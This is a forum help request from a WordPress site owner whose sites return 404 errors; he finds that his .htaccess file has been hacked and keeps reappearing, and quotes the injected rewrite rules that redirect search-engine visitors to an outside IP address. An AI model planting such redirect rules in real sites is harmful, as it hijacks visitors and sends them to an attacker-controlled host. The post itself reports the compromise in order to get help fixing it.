404 errors on multiple sites for all posts/links


#1

Hi
I’ve just noticed that about 6 of my wordpress sites all get the error message below when clicking on a post/page/link
Not Found
The requested URL /[whateverpage] was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

My admin works and I’ve not changed any of the sites in the past few days. I’ve sent a query to Westhost but wondered if anyone has seen this before.
The sites are
http://www.capeyorkbeachhouseforsale.com/
http://www.anythinginterpretive.com.au/


and a few others
Any suggestions gratefully received (well any polite ones)
Many thanks
Seamus
+++ I’ve just found out that it looks as though my htaccess file has been hacked - I deleted it and it appeared again with the same hacky looking code in it
"RewriteEngine On
RewriteCond %{HTTP_REFERER} .google.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .aol.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .msn.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .altavista.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .ask.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .yahoo.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .bing.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .live.$ [NC]
RewriteRule .* http://109.206.180.12/ [R,L]"

I don’t much about the htaccess file but this doesn’t look right